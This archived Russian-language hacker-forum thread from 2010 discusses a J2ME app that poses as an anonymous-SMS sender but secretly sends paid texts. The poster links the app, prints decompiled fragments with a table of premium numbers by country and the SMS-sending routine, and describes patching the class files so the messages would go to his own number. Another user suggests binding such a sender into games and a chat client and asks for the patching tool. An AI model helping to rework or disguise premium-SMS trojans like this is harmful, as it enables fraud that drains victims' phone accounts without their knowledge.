ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   PHP (https://forum.antichat.io/forumdisplay.php?f=37)
-   -   подмена номера в java приложении (https://forum.antichat.io/showthread.php?t=169360)

ufalog 09.01.2010 02:59

подмена номера в java приложении
 
есть приложение isms

(1252263934_sms_anonim.rar)

скачать можно по ссылке :

http://www.sendspace.com/file/tu5b3c


оно якобы предлагает отослать анонимную смс другу,или подруге от любого номера.

на самом же деле шлет платную смс 9016

на номер 8355


PHP код:

Message From sms://8355 9016 


декодировав классы видим что с.class содержит следующее значение

PHP код:



 c
(Main main)

    {

        
super(p);

        
S = "8355";

        
T = "isms";

        
U = "iSMS";

        
aa = "";

        
ab = "";

        
ac = "";

        
am = null;

        
an = null;

        
ao = null;

        
ap = null;

        
N = main;

        
M = main.a("/ops");

        
R = new String[7];

        
R[0] = a(0x12e598f, 1);

        
R[1] = a(0x12e76ca, 1);

        
R[2] = a(0x12e62cd, 1);

        
R[3] = a(0x12e684c, 1);

        
R[4] = a(0x12e7d9a, 1);

        
R[5] = a(0x12e7e0c, 1);

        
R[6] = a(0x12e7f74, 1);

        
S = R[0]; 


PHP код:


       T 
= String.valueOf(l2) + "6";

        
ap = "ru,8355,3;ua,7137,1.6;kz,4449,3;kg,4449,3;by,4449,2.3;ge,4449,4.2;tj,4449,3;am,4449,1000;az,4448,0.8;ee,1206,3;lv,1824,3;lt,1624,3;il,4070,4.2;";

        
V = new Hashtable();

        
W = new Hashtable(); 

сменив эти значение на свои прогой JavaByte мы получаем что приложение будет слать смс на ваш номер и ваш текст .... но не тут то было...


приложение до сих пор шлет смс с текстом 9016 на номер 8355


декодирова все классы я не нашел там никаких упоминаний насчет данной пары 9016/8355


так вот что за чудеса? может кто разбираться в JAVA и подскажет откуда приложение генерирует эту пару номер текст (9016/8355)

ufalog 09.01.2010 03:02

процесс генерации смс параметров
 
PHP код:



   
{

            
P = "sms://" + am;

            
System.out.println(P + " " + Q);

            
MessageConnection messageconnection;

            
TextMessage textmessage;

            (
textmessage = (TextMessage)(messageconnection = (MessageConnection)Connector.open(P)).newMessage("text")).setPayloadText(Q);

            
messageconnection.send(textmessage);

            
messageconnection.close();

        } 


heretic1990 09.01.2010 13:41

Цитата:

декодировав все классы я не нашел там никаких упоминаний насчет данной пары 9016/8355
посмотри, может эти значения зашифрованы!

suser 09.01.2010 14:26

чё за JavaByte?
у меня есть прога SMS Send там в MANIFEST.MF настраивается всё
может можно её с играми и джимом склеить но я хз :D

ufalog 09.01.2010 16:51

Цитата:

Сообщение от suser
чё за JavaByte?
у меня есть прога SMS Send там в MANIFEST.MF настраивается всё
может можно её с играми и джимом склеить но я хз :D

JavaByte позволяет менять значения данных в .class файлах на свои без декодирования.

suser 09.01.2010 17:24

Цитата:

Сообщение от ufalog
JavaByte позволяет менять значения данных в .class файлах на свои без декодирования.

Дай прожку пожалуйста :)


Время: 11:08